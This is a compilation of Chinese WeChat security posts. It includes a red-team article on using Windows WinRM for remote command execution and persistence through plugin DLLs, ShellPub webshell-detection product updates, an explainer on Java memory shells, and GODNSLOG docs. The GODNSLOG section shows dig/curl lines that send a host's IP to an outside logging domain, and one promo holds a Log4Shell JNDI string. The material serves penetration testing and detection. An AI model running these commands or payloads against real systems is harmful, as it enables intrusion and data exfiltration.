大家好！这里是219攻防实验室！你一定没有听说过我们，因为我们刚成立不久。219攻防实验室专注于前沿攻防研究

0x00 WSMan 与 WinRM

什么是WSMan？

以下定义来自 DMTF WS-MAN 和 微软 WS-Management Protocol

先介绍几个核心的概念：

• Schema and Message

• Resource

• Action

什么是WinRM？

<s:Envelope  xmlns:s="http://www.w3.org/2003/05/soap-envelope"  xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"  xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"  xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">  <s:Header>    <a:To>      http://127.0.0.1:47001/wsman    </a:To>    <w:ResourceURI      s:mustUnderstand="true">        http://schemas.microsoft.com/wbem/wsman/1/config/client    </w:ResourceURI>    <a:ReplyTo>      <a:Address        s:mustUnderstand="true">          http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous      </a:Address>    </a:ReplyTo>    <a:Action      s:mustUnderstand="true">        http://schemas.xmlsoap.org/ws/2004/09/transfer/Get    </a:Action>    ...  </s:Header>  ...</s:Envelope>

WinRM服务返回200响应，附带如下SOAP响应消息：

<s:Envelope  ...>  <s:Header>    <a:Action>      http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse    </a:Action>    <a:MessageID>      uuid:D6A2FE78-BC98-4144-BF60-E425BC57BE58    </a:MessageID>    <p:OperationID      s:mustUnderstand="false">        uuid:1C91B382-5E0D-4F5D-A4AE-956B5E60F88D    </p:OperationID>    <p:SequenceId>    1    </p:SequenceId>    <a:To>      http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous    </a:To>    <a:RelatesTo>      uuid:3B8307A8-01C9-4C10-86D9-08E051E943F8    </a:RelatesTo>  </s:Header>  ...</s:Envelope>

再来看winrm/config/client这个URI，通过winrm命令可以查询到它是一个别名。

PS> winrm help aliaseswmi      = http://schemas.microsoft.com/wbem/wsman/1/wmiwmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2cimv2    = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2winrm    = http://schemas.microsoft.com/wbem/wsman/1wsman    = http://schemas.microsoft.com/wbem/wsman/1shell    = http://schemas.microsoft.com/wbem/wsman/1/windows/shell

0x01 在Windows中使用WinRM

本小节存在大量命令行实例，如未特别指定则默认在Powershell环境下进行测试。

配置WinRM

从Windows Server 2012 R2开始，WinRM服务默认自动启动，并监听0.0.0.0:5985和127.0.0.1:47001，更老的版本需要使用命令行进行配置。

• 使用winrm命令的quickconfig子命令快速配置winrm服务：
  

winrm quickconfig -q -force# -q[uiet] 安静模式，不提示确认操作# -force 已经配置过不提示确认

quickconfig主要改动的地方：

• 配置winrm服务为自启动；

• 启用对远程管理服务的防火墙例外；

• 添加默认端口的监听器。

• Powershell中也有对应的cmdlet能够进行快速配置：
  

Set-WSManQuickConfig -Force

• 某些情况下也可以手动修改WinRM服务与相关注册表以及防火墙来达到和快速配置相同的目的：
  

# winrm服务自启动sc.exe config winrm start= auto# 添加HTTP的监听器，默认监听5985端口reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Listener\*+HTTP /v Port /t reg_dword /d 5985 /f# 添加监听的url前缀，默认是wsmanreg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Listener\*+HTTP /v uriprefix /t reg_sz /d wsman /f# 启动服务sc.exe start winrm# 启用防火墙例外netsh advfirewall firewall set rule group="Windows 远程管理" new enable=yes

• 客户端侧，需要配置允许连接任意远程WinRM服务，否则将无法访问任何外部WinRM服务，本文的末尾会介绍如何绕过这一限制；Powershell中实现了一个名为WSMan的驱动器，能够如同操作注册表那样访问WinRM的配置。

# 透过PowershellSet-Item WSMan:\localhost\Client\TrustedHosts * -Force# 或者winrm set winrm/config/client '@{TrustedHosts="*"}'# 或者reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client /v trusted_hosts /t reg_sz /d * /f# 查看配置项列表Get-ChildItem WSMan:\localhost# 修改配置Set-Item WSMan:\localhost\Client\TrustedHosts * -Force# 读取配置，可用TAB键自动补全Get-Item WSMan:\localhost\Client\TrustedHosts

连接远程Powershell会话

# 创建会话New-PSSession -ComputerName 10.1.1.1 -Port 5985 -Name NicheSess# 从远端获取一个已有的会话Get-PSSession -ComputerName 10.1.1.1 -Port 5985# 进入会话，会话中exit退出后可通过此方式再次进入Enter-PSSession (Get-PSSession -ComputerName 10.1.1.1)Enter-PSSession -Name NicheSess# 通过GUID获取缓存会话Get-PSSession -InstanceId 'a7be4d04-d1d6-4ba7-b6b4-10b7bed6b5df'# 通过名称获取缓存会话Get-PSSession -Name NicheSess

执行命令

winrs.exe底层使用资源：http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd

winrs.exe -r:127.0.0.1:47001 -u:Administrator -p:wkpass@321 -nop# -nop指定不加载目标用户的配置文件，建议渗透时使用此选项# 指定-un可使流量不加密，方便调试

访问WMI

• winrm命令中使用enum枚举WMI对象，并使用invoke子命令调用对象上的方法：
  

# 获取进程列表winrm enum wmicimv2/Win32_Process# 创建进程winrm invoke create wmicimv2/Win32_Process '@{CommandLine="calc.exe"}'# 获取共享列表winrm enum wmicimv2/Win32_Share# 添加共享winrm invoke create wmicimv2/Win32_Share '@{Path="D:\Test";Name="ddd";Type="0"}'# 查询WQLwinrm enum wmicimv2/* -filter:'select * from Win32_Process where Name="CalculatorApp.exe"'

• Powershell使用-Filter参数枚举WMI对象：
  

# 查询 lsass.exe 进程Get-WSManInstance -ComputerName 10.1.1.60 -Filter 'select Processid,commandline from Win32_Process where caption="lsass.exe"' -Enumerate -ResourceURI wmicimv2/*

0x02 WinRM插件

https://learn.microsoft.com/en-us/windows/win32/winrm/winrm-plugin-api

WinRM提供了插件机制，可加载native的dll作为插件来扩展WinRM的能力，用户注册自己的插件到WinRM以提供自定义资源。

PS> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Event Forwarding PluginHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.PowerShellHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\WMI Provider...PS> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.PowerShellConfigXML    REG_SZ                 <PlugInConfiguration...

PS> ls WSMan:\localhost\Plugin\microsoft.powershell\WSManConfig:Microsoft.WSMan.Management\WSMan::localhost\Plugin\microsoft.powershell
Type           Name                           SourceOfValue   Value----           ----                           -------------   -----System.String   xmlns                                         http://schemas.microsoft.com/wbem/wsman/1/config/Plug...System.String   Name                                          microsoft.powershellSystem.String   Filename                                      %windir%\system32\pwrshplugin.dllSystem.String   Enabled                                       trueSystem.String   Architecture                                  64System.String   UseSharedProcess                              falseSystem.String   ProcessIdleTimeoutSec                         0System.String   AutoRestart                                   false

利用场景

一个简单的插件

// 包含必要头文件#define WSMAN_API_VERSION_1_0#include <wsman.h>
// 当客户端对资源调用Get操作时会调用服务端的WSManProvGet函数extern "C" __declspec(dllexport) void WSManProvGet(WSMAN_PLUGIN_REQUEST * request){   WSMAN_DATA data;   data.type = WSMAN_DATA_TYPE_TEXT;   // 输出格式为XML，真的是很麻烦啊~   data.text.buffer =       L"<test:Test xmlns:test=\"http://schemas.evilcorp.com/test/Test\">\n"       "<Title>Test WinRMPlugin</Title>\n"       "<Username>Jonathan</Username>\n"       "<Message>Hello!</Message>\n"       "</test:Test>";   data.text.bufferLength = 163;   // 输出结果   WSManPluginObjectResult(request, 0, &data);   // 完成当前Get操作   WSManPluginOperationComplete(request, 0, 0, nullptr);}

注册插件

插件注册需要用到一个XML，这个XML中包含了WinRM服务需要的所有插件配置信息：

<PlugInConfiguration xmlns="http://schemas.microsoft.com/wbem/wsman/1/config/PluginConfiguration"                    Name="Test"                    Filename="C:\Program Files\winrmplug.dll"                    SDKVersion="1"                    XmlRenderingType="text"                    Architecture="64"                    UseSharedProcess="true"                    Enabled="true">   <!-- 初始化参数，直接会传递给WSManPluginStartup函数的第三个参数extraInfo -->   <InitializationParameters>   </InitializationParameters>
   <Resources>       <Resource ResourceUri="http://test.evilcorp.com/Test" SupportsOptions="true" ExactMatch="true">           <!-- 可为每一个资源单独配置安全描述 -->           <Security Uri="http://test.evilcorp.com/Test" ExactMatch="true" Sddl="O:NSG:BAD:P(A;;GA;;;BA)(A;;GA;;;IU)(A;;GA;;;RM)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)"/>           <!-- 定义当前资源上允许的动作 -->           <Capability Type="Get"/>       </Resource>   </Resources></PlugInConfiguration>

命令行注册命令为：

winrm create winrm/config/plugin?Name=Test -file:test.xml# 注册完成后需要重启winrm服务来应用更改，这是一个很大的缺陷sc.exe stop winrmsc.exe start winrm

执行winrm get http://test.evilcorp.com/Test验证：

插件的限制

1. 插件DLL只能放在%windir%\System32（32位在SysWOW64）和%ProgramFiles%或子目录；

2. 新插件注册需要重启WinRM服务（但是修改已有插件会自动应用修改）；

   解决：修改现有插件的注册表配置，将XML中的Filename修改到c:\Program Files，编写DLL动态转发原DLL相关功能，并实现自己的目的。

3. 插件输入输出很麻烦，必须是XML格式，不利于工具开发；

   解决：WsmSvc.dll提供了SHELL功能，能够直接收发二进制数据。

4. 无法随WinRM服务自动启动，需有客户端访问才会加载插件DLL。

0x03 Remote PSSession 输入输出传递分析

WSMan.Automation

'Create an instance of the WSMAN.Automation Classset wsmanObj = CreateObject("WSMAN.Automation")

WsmSvc.dll!WSManSendShellInput

WSManClientCommandTransportManager::SendData：

0x04 实现远程连接命令执行的BOF

Github链接：https://github.com/219adlab/winrmsh

测试环境: CS4.5

0x05 总结

0x06 参考链接

• https://learn.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management

• https://learn.microsoft.com/en-us/powershell/module/microsoft.wsman.management/get-wsmaninstance?view=powershell-7.3

• https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process

• https://learn.microsoft.com/en-us/windows/win32/winrm/wsman-service-plug-in-configuration

• https://mez0.cc/posts/winrm-reflective-dll/

  
  

阅读原文

跳转微信打开

本次更新修复了1.8.x以来的累计BUG

BUG修正

• 修复扫描大文件容易导致OOM问题；
  

• 修复扫描大型压缩文件缓慢问题；
• 修复文件句柄泄露的BUG；

下载与更新

目前只开放了下载，点击【阅读原文】或登录官网https://www.shellpub.com,点击【立即使用】抢先体验最新版。

linux 版使用如下命令进行更新：

./hm update

联系我们

QQ交流群：971146821

点击下方名片，关注我们

如果不想错过消息，可以星标  

阅读原文

跳转微信打开

分享一篇文章。

阅读原文

跳转微信打开

河马内存马检测工具正式公测

就让你抢个先手，但也暴露了你的招式

一年了，你的内存马攻击可有新的变化？

${jndi:ldap://xxxx.com.cn}

也接我一招，专破内存马！

“重启吧。”你关掉ssh终端，对旁边的甲方小哥说。

“你刚刚用的是ShellPub吗？”

你转过头去，认真地说：“ShellPub，是的，但我更喜欢叫它——河马！”

ShellPub，河马内存马检测工具正式公测：

► Linux版，专用于Java类内存马检测

• 自动识别包括Tomcat、Weblogic、Jboss 环境；

• Spring等打包环境支持手动指定进程方式，因此第三方Java应用（gitlab，ES）都可以检测；

► Windows版

• Java内存马检测, Java6+; OA系统、办公系统；
• Net内存马，IIS等场景下的.net内存马检测。

全面覆盖内存马常见场景，可检测冰蝎、哥斯拉等内存马利用工具注入的内存马。

河马是如何检测内存马的？

但关于在哪儿检测恶意代码，目前有两种方式：

► 在内存中检测

这种方法是将检测的agent注入内存中，Hook关键的类，无论内存马是动态注册，还是基于agent修改字节码，都可以预先被检测agent感知到，然后运行检测代码。

► 在内存中找，在硬盘上检测

同样是使用agent技术，进入目标JVM中，遍历筛选可疑的类，然后dump到硬盘，将类字节码反编译为Java代码后，再进行恶意代码检测。

相比前一种检测方法，这种方法相对比较温和，对正常业务的侵入性较弱。

ShellPub河马当前既支持Agent方式检测，也支持无Agent方式检测。

如何获取内存马检测工具：

1. 关注SHELLPUB公众号

2. 在后台回复【winmem】获取Windows内存马检测工具

3. 在后台回复【linuxmem】获取Linux内存马检测工具

获取工具后会得到我们的交流群密码，群里有开发小哥哥为你处理BUG，也有专门的分析师帮你分析内存马样本！

点击下方名片，关注我们

如果不想错过消息，可以星标  

阅读原文

跳转微信打开

SHELLPUB已支持检测冰蝎4.0

关于“冰蝎”

检测

内存马专杀工具检测

OneEDR检测

相关样本

参考链接

https://www.aqniu.com/vendor/73751.html

https://github.com/rebeyond/Behinder

联系我们

QQ交流群：971146821

点击下方名片，关注我们

如果不想错过消息，可以星标  

点击“阅读原文”，立即体验河马在线查杀

↙↙↙

阅读原文

跳转微信打开

河马已支持Confluence WebShell检测

‍

关于 Confluence

Confluence是一个专业的企业知识管理与协同软件，我们常说的Confluence jira、wiki均是其旗下产品。产品分为标准版和企业版，前者免费，可以自由搭建，后者为付费商业增值服务。Confluence 已经在超过100个国家，13500个组织中成功地应用于企业内网平台、知识管理及文档管理，涉及财富1000企业、政府机构、教育机构、财务金融机构及技术研究领域。

WebShell样本分析

样本1

样本1为文件上传小马，攻击者利用小马可以进一步上传大马和其他后门。

样本2

样本2为修改后的菜刀JSP后门，在github公开的仓库已收录。

注: 菜刀即中国菜刀是常见WebShell管理工具，常见的管理工具还有蚁剑 (AntSword)、冰蝎 (Behinder) 、Weevely等。

当前这两个样本河马在线查杀和客户端均可以检出。

河马的内存马专杀攻击亦可检出冰蝎内存马。

• 在线查杀：

• 河马客户端：

关于内存马检测，笔者在这里做一个预告：

• 河马Linux版内存马检测工具：支持各类Java内存马检测

• 河马Windows版内存马检测工具：既支持.Net内存马，也支持Java内存马检测

目前均在内测阶段，稍后放出，请大家关注我们。

修复建议

1. Confluence类产品多数应用场景为企业内部办公协同，建议放在内网；

2. 即时更新Conflunce；

3. 务必扫描Conflunce目录下是否存在WebShell, 推荐使用河马在线查杀https://n.shellpub.com。

联系我们

关于WebShell检测、河马在线查杀、河马客户端疑问欢迎随时联系我们。

祝大家端午安康！

QQ交流群：971146821

点击下方名片，关注我们

如果不想错过消息，可以星标  

点击“阅读原文”，立即体验河马在线查杀

↙↙↙

阅读原文

跳转微信打开

机器学习已合并到在线查杀https://n.shellpub.com的正式环境

河马在线旧版机器学习查杀

检出测试结果表

一般的AI技术会提取恶意样本中的敏感函数、信息熵、文件重合指数、标签数等等特征，通过传统的机器学习或者简单深度学习进行训练得到检测模型。这样做的确有一定效果，但在抽取特征的时候丢失了大量文件信息，这些信息在某些情况下会影响模型的判断。微步的WebShell检测引擎在大量实验后，细化了常规的特征提取，确保信息的抽取更准确；此外从多个维度抽取文件信息，确保信息的抽取更加全面。

例如我们也会抽取敏感函数，我们会细化函数分类，精准确定函数执行位置和执行情况；我们舍弃传统的信息熵和文件重合指数作为混乱度指标，采用深度学习方法更精准的计算代码混乱度；我们不仅从语法树AST角度抽取信息，我们还从文本、字符、字节码维度共同抽取文本信息，让深度学习从多维度视角理解代码，做出更准确判断。

点击下方名片，关注我们

如果不想错过消息，可以星标  哦~

阅读原文

跳转微信打开

河马ShellPub更新（内含福利）

 产品更新

► 启用新LOGO；

► 前端重构，前后端分离架构，首屏只有两页，更简洁；

► 支持结果导出，在扫描完成后可以在结果页面下载CSV结果，格式同河马客户端结果一致；

 检测更新

新版检测能力提升如下图所示：

• PHP检出提升29.7%

• JSP检出提升33.3%

• ASP检出提升13.9%

• ASPX检出提升10.7%

• 新增PHP机器学习模块，大幅提高大马的检测速度和准确率；

• 考虑到扫描速度，临时下线深度检测模块（近期会重新上线，预计2周内）；

• 静态分析模块灰度上线；

• 新增PHP网络连接/反弹Shell检测；

• 增加若干大马规则；

• 增加若干加密混淆WebShell检测；

• 增加若干命令执行类WebShell检测；

• 增加自定义函数WebShell检测；

• 修复了若干误报；

• 新增JSP解码器，解决JSP多种编码绕过的情况；

• 增强ear,war等文件类型的WebShell检测，大幅提高准确率和检出速度；

• 新增ScriptEngine脚本引擎类型的WebShell检测规则；

• 新增自定义ClassLoader类型WebShell检测；

• 新增若干生成器生成WebShell检测；

• 增加若干反序列化WebShell的检测；

• 增加若干脱裤脚本检测；

• 更新若干WebShell管理工具规则；

• 增加24条命令执行；

• 新增6条大马规则；

• 新增若干注册表、数据库、重要文件等敏感操作规则；

• 更新若干WebShell管理工具规则；

• 优化性能提高扫描速度；

• 新增解码器，解决一些编码绕过问题；

• 新增若干网络连接/反弹Shell规则；

• 新增几类脚本执行命令的检测规则；

• 新增若干编码混淆检测规则；

• 更新若干WebShell管理工具规则；

 联系我们

► QQ：971146821（交流群）/ 188499481（客服）

► Email：service@shellpub.com

阅读原文

跳转微信打开

关于Java内存马检测的疑问解答

阅读原文

跳转微信打开

搞定Java内存马（一）

近些年，无文件攻击技术越来越流行。本文旨在介绍无文件攻击中最为流行的一种技术——Java内存马，让企业、用户了解和重视其危害性，提高防范意识，降低安全风险。 

- 全文约1500字，预计阅读时间为4分钟 -

前言

在Ponemon Institute给出的一份网络安全报告中显示，2018年所有的网络攻击中，35%是无文件攻击。

据Dynatrace的不完全统计，2020年成功的勒索病毒攻击事件中，有超过80%是通过无文件的方式完成的。同年新增的大部分新型勒索病毒样本也大多采用了无文件技术。

互联网始于1969年美国的阿帕网，2000年之后进入高速增长，数据增长速度远超摩尔定律，这对企业的网络、存储、应用都提出了很大的考验。Java以其成熟且稳定的技术体系，在互联网的潮流中激流勇进，成为了最主要的语言，成为了企业的最爱。

Java内存马(以下简称“内存马”)也开始逐渐进入人们的视野中。由于其无文件的特性，可以有效躲避传统安全设备的检测，所以在近年的护网行动中内存马也逐渐成为了攻击方的常备武器之一。

在2017年的《看不见的Shell》文章中就已经提出了通过动态注册servlet在tomcat中注册内存马。而在一份2019年的Java生态报告中显示，tomcat仍是Java开发者中使用最广泛的web服务器，市场占有率高达73%。

此后随着冰蝎将Java Agent技术应用在Java内存马上以后，拓宽了内存马的使用场景，对内存马的研究和使用开始越来越火，2020年出现了更多针对特定框架使用的内存马，其中包括了在Java Web中占据主导地位的Spring。(Spring框架在Github上已有超过45k stars）

Java Web内存马作为众多WebShell的一种，在了解Java Web内存马之前我们先回顾一下什么是WebShell，它有哪些危害。

什么是WebShell？

WebShell通常指攻击者所使用的一种恶意脚本，其目的是为了获取web服务器的命令执行操作权限，来达到执行系统命令，窃取服务数据等恶意目的。WebShell所使用的语言类型往往和web服务的后端环境有关。

WebShell类型变迁

WebShell最初是以网站或者服务器管理的形式存在的，后来逐渐演变成功能较为齐全的“大马”，能够支持在渗透过程中可能用到的各种功能，比如文件管理，命令执行，端口扫描，反弹shell等等。但是功能齐全也意味着文件体积较大容易暴露或者直接被限制大小无法完成上传。随之也就衍生出了小马(体积较小，隐蔽性强)，最重要的是在与图片结合一起上传之后利用nginx或者IIS6的解析漏洞来运行，一般只包含上传文件功能，然后通过小马拉大马。随后还出现了更加短小精悍的一句话木马。

主流WebShell工具

冰蝎

冰蝎是一款现在较为流行的WebShell工具，原因在于其拥有着极其优秀的加密通讯的特点，可以选择通过预共享密钥机制使其通讯全程秘文进行。并且在最新的版本中支持利用Java Agent技术对多种Web容器注入内存马的功能。并且在使用冰蝎时产生的TLS流量与正常访问网页的TLS流量在行为特征上差异很小。传统的WAF，IDS等设备对其检测有较大的难度。简单设置后就可以完成shell管理。

哥斯拉

哥斯拉的通讯流量和冰蝎一样也是加密过的，并且其号称其全类型的shell能够绕过市面上大部分的静态查杀。同时还能够提供各种插件配置，一键生成shell脚本等功能，在新版本中同时也支持了Java内存马的注入功能。

常见的检测思路

1. 静态特征匹配

由于WebShell需要传递命令以及执行命令，所以可以针对一些危险函数的调用进行匹配来判断是否为WebShell

2. 文件完整性检测

由于大部分类型的WebShell的实现需要涉及到文件的新增与修改，可以实时监测web服务中的文件是否涉及到以上特性的变化。

3. 动态行为检测

通过监控提供Web服务的进程在系统上执行了哪些系统命令来动态监测分析该行为是否是一个正常行为。

内存马的检测难点

由于内存马仅存在于进程的内存空间中，很多传统的检测防护手段对其无能为力。同时内存马的种类也十分繁多，根据不同的脚本类型，Web中间件存在各种触发机制不同的内存马，没有稳定的静态特征。在下一篇，中我们会针对Java Web内存马进行深入分析。

关于Java内存马检测，我们将在微步安全学院进行专题直播，2022年1月6日晚19:10开播，同时也会在直播间发布河马Java内存马专杀工具，感兴趣的伙伴可以长按识别下图二维码报名。

阅读原文

跳转微信打开

我们会继续免费。

各位好，通知大家一个重要的事情，河马查杀（ShellPub）已加入微步在线。

微步在线是中国新一代网络安全公司代表、威胁发现与响应领军企业，是威胁发现与响应专家，是一家非常优秀的网络安全企业。这次加入，对河马是一个全新而且重要的选择。

不忘初心，专注查杀。“让世界不再受webshell困扰”始终是我们的目标。

请大家放心，我们会持续更新，客户端、在线查杀等产品会继续免费提供给大家，并提供一如既往的服务。我们近期会陆续更新一些新的版本，请继续支持我们。如果在使用中遇到问题可以通过以下方式联系我们，给我们提意见、建议和误报漏报反馈。

QQ: 188499481

误报/漏报反馈: feedback@shellpub.com

产品服务: service@shellpub.com

公众号: gh_f779ec60843d

阅读原文

跳转微信打开

河马查杀服务端将于明日升级

随着云原生架构的流行，也为了河马查杀的后续发展，近期重构了一下底层，计划于北京时间2021年7月9日晚19:00对整个服务端进行升级维护，预计整个升级维护过程约为1个小时。整个维护过程中可能造成部分服务中断报错，如果遇到报错提示，请稍后重试。

关于河马查杀使用过程中遇到的问题，包括本次升级中遇到的问题，可以通过文末的联系方式与我们进行沟通。

 更新内容

// 在线查杀

• zip 上传后创建任务使用事务性发件箱模式，保证扫描服务的可靠性
• 考虑扫描量和开发 API，扫描节点根据扫描任务量弹性伸缩，按需提高扫描速度
• *支持扫描实时进度实时更新，待前端升级后一起发
• 合并客户端和扫描节点代码，不再单独维护服务端扫描节点
• 扫描结果页面去掉了 sha1

// 官网

• 修复 CNZZ 站长统计代码导致主页卡顿数秒的问题

 影响范围

升级维护预计会在数分钟内完成，最长1个小时。

1. 在维护升级过程中，查杀客户端可能会提示云服务连接中断，为稳妥起见，请在错误提示后重试。

2. 在线查杀和官网可能出现 502，请过几分钟后刷新重试。升级后，在线查杀的部分历史扫描数据不可用。
3. 下载、更新失败。建议不要在该时间段进行升级，以免出现升级错误。

 维护范围

1. 官网与博客

   https://www.shellpub.com

   https://blog.shellpub.com

2. 在线查杀 

   https://n.shellpub.com

3. 云端程序 

   https://api.shellpub.com

4. 下载与更新 
   http://dl.shellpub.com

   http://update.shellpub.com

5. 机器学习查杀 

   https://ml.shellpub.com

 联系方式

QQ: 188499481

邮箱: service@shellpub.com

点击下方名片，关注我们

如果不想错过消息，可以星标  哦~

阅读原文

跳转微信打开

河马查杀支持对冰蝎V3.0 Beta 7 检测，各位管理员朋友们无需升级，可以直接使用。

最近发现冰蝎新增了内存马注入，用河马查杀试了一下，可以直接检出冰蝎V3.0 Beta 7 ，各位参加重保的安服小伙伴和管理员朋友们无需升级，可以直接使用。

检测效果

如下图，发现5个后门

下载河马

点击“阅读原文”链接，跳转河马查杀官网，点击“立即使用”下载您需要的版本。

目前可用的版本有：Windows、Linux amd64、Linux 386

阅读原文

跳转微信打开

v0.3.0更新日志，API定版，提供python和golang客户端

New Features

• 【前端】添加网站标题

• 【前端】在配置->系统->安全配置页面添加HTTPLOG地址显示

• 【前端】HTTPLOG URL字段修改为PATH字段

• 【后端】查询api定版，提供了python和golang版本的客户端

• 【后端】优化数据库，将待查询字段单独抽取成列，利用索引提高查询效率

• 【-】使用docker hub自动化构建

Known issues

• 【前端】introduce/文档的mavon-editor会遮挡下拉菜单

• 【前端】修改语言不能保存到后端

• 【前端】口令失效后的一些重复提示

• 【前端】英文文档缺失，文档目录$SRC/frontend/src/md/，欢迎大家提交PR

• 【后端】主动推送未经测试

TODO

• 【前端】英文文档

• 【后端】主动推送测试

Other

本次改动HTTPLOG不再依赖DNS解析，直接通过IP访问，所以如果使用nginx做方向代理时需要添加default_server或者IP地址

server {
    listen       80 default_server;
    server_name  www.godnslog.com *.godnslog.com;
    # Load configuration files for the default server block.
    access_log /var/log/nginx/www.godnslog.com.access.log;
    error_log /var/log/nginx/www.godnslog.com.error.log;
    proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
    proxy_set_header Host             $host;
    proxy_set_header X-Real-IP        $remote_addr;
    location / {
        proxy_pass http://127.0.0.1:8080;
    }
}

严正声明：
本项目旨在提供甲方安全检测服务、安全开发交流用，不得用于非法用途。

演示网站

https://www.godns.vip

测试账号：

• test1/test123456

• test2/test123456

• test3/test123456

• test4/test123456

• test5/test123456

• test6/test123456

• test7/test123456

• test8/test123456

• test9/test123456

• test10/test123456

不支持多用户共用一个帐号，后登录会踢掉前面的登录的用户

注意: 演示网站仅提供演示功能，不要用在实际环境，随时可能重启升级!

结语

项目地址：https://github.com/chennqqi/godnslog

如果你对这个项目感兴趣；如果你在使用体验中遇到问题需要反馈交流；如果你想吐槽我糟糕的设计、编码；如果你想反馈BUG；如果你对DNSLOG有些新的想法，想在GODNSLOG上实现；欢迎关注我们的公众号gh_d110440c4890，在公众号后台跟我交流。在后台回复"交流群"加入交流群

别忘了关注我们

更新历史

GODNSLOG | 开源一个新鲜的DNSLOG

阅读原文

跳转微信打开

A dns&http log server for verify SSRF/XXE/RFI/RCE vulnerability

背景动机

功能特性 & 用法简介

• 1. DNSLOG

dig `/sbin/ifconfig eth0|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"`.ktqlujjpgc4j.godns.vip

系统生成域名为{$variable}.ktqlujjpgc4j.godns.vip，其中ktqlujjpgc4j是用户唯一shortId，{$variable}为用户自定义变量

• 2. HTTPLOG

curl http://ktqlujjpgc4j.godns.vip/log/`/sbin/ifconfig eth0|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"`

除了只能用DNSLOG检测的情况，HTTPLOG都比DNSLOG好用一些，在内网环境中配合主动推送可以让检出更有效率，代码也相对简单一些。

• 3. DNS Rebinding

注:一些本地DNS即时收到TTL=0的DNS也依然会缓存，比如说腾讯云会缓存1分钟

• 4. 多用户

两级用户，内置用户为管理员，管理员可以新建、修改、删除普通用户。普通用户拥有除用户管理功能之外的所有功能

• 5. 主动推送

• 6. 支持API调用

传统的pull api模式，客户端通过token+api的方式查询DNS/HTTP记录，这里我改进了一下，一般的DNSLOG平台token直接在URL中传递不是很安全，稍微改进了一下，用hash校验替代了token校验。GODNSLOG将支持精准查询和模糊查询两种方式

安装部署

docker一键部署，推荐http前面套个nginx可以套SSL证书

需求：一个域名、用户独立IP的主机.

注：如果在内网环境中使用，域名也不是一定要注册的，在内网DNS中配置一个私有域名即可

2. 安装docker环境，并启动实例

curl -s https://get.docker.com/ | sudo sh
systemctl enable docker
systemctl start docker
docker pull sort/godnslog:v0.2.2
docker run -d --name=godnslog -p8080:8080 -p53:53/udp sort/godnslog:v0.2.1 -domain=godnslog.com -4 100.100.100.100

godnslog默认使用sqlite数据库，考虑到性能建议使用外部mysql.
命令行参数可以用以下命令查看

docker run --rm --it sort/godnslog:v0.2.2 --help

注: 此处v0.2.2为当前版本，后续可能会改动，请使用最新版本

mysql DSN格式: https://github.com/go-sql-driver/mysql/#dsn-data-source-name
sqlite DSN格式: https://github.com/mattn/go-sqlite3#dsn-examples

关于持久化，使用外部mysql时数据就是持久化的，sqlite要支持持久化需要通过docker -v参数将宿主机上的文件映射为sqlite数据库文件，否则重启docker后数据会丢失

3. 配置

3.1 安装nginx

yum install nginx
systemctl start nginx
systemctl enable nginx

3.2 配置并重启nginx

server {
    listen       80;
    server_name  www.godnslog.com *.godnslog.com;
    # Load configuration files for the default server block.
    access_log /var/log/nginx/www.godnslog.com.access.log;
    error_log /var/log/nginx/www.godnslog.com.error.log;
    proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
    proxy_set_header Host             $host;
    proxy_set_header X-Real-IP        $remote_addr;
    location / {
        proxy_pass http://127.0.0.1:8080;
    }
}

3.3 配置防火墙开放UDP:53，TCP:80端口

3.4 登录配置用户

演示网站

测试账号：

• test1/test123456

• test2/test123456

• test3/test123456

• test4/test123456

• test5/test123456

• test6/test123456

• test7/test123456

• test8/test123456

• test9/test123456

• test10/test123456
  不支持多用户共用一个帐号，后登录会踢掉前面的登录的用户

注意: 演示网站仅提供演示功能，不要用在实际环境，随时可能重启升级!

结语

阅读原文

跳转微信打开

刚刚收到宝塔推送安全更新推送短信，请宝塔用户务必重视

据传漏洞的phpMyAdmin鉴权了问题，导致未授权登录。phpMyAdmin是一个用PHP开发的mysql管理系统，登录后可以利用mysql特性getshell。

阅读原文

跳转微信打开

河马查杀1.8.2 发布，支持检测新版冰蝎和哥斯拉后门，建议尽快升级

下载与更新

      新用户访问https://www.shellpub.com 点击立即使用下载适合您的版本；老用户更新linux版可以通过hm update直接升级； windows用户打开软件后会收到升级推送

功能更新

• 新增规则支持检测冰蝎3.0 (Behinder)

• 新增规则支持检测哥斯拉(godzllia)

• 优化yii2检测效果，去掉一些疑似文件

  
  

  

  在线查杀近期同步本次更新
  

如何使用深度模式

    深度解码模式命令格式为

hm deepscan <target dir>

    下图动图演示了linux系统下先用scan模式进行扫描，接着使用deepscan进行扫描 

    windows下可以在开始扫描按钮左侧勾选深度模式来决定是否启用深度解码器 

已知问题

• 不支持内核2.6.18以下版本（即centos5系统默认内核版本)且无支持计划

兼容性测试

|      OS    |      kernel     | version | arch | result |
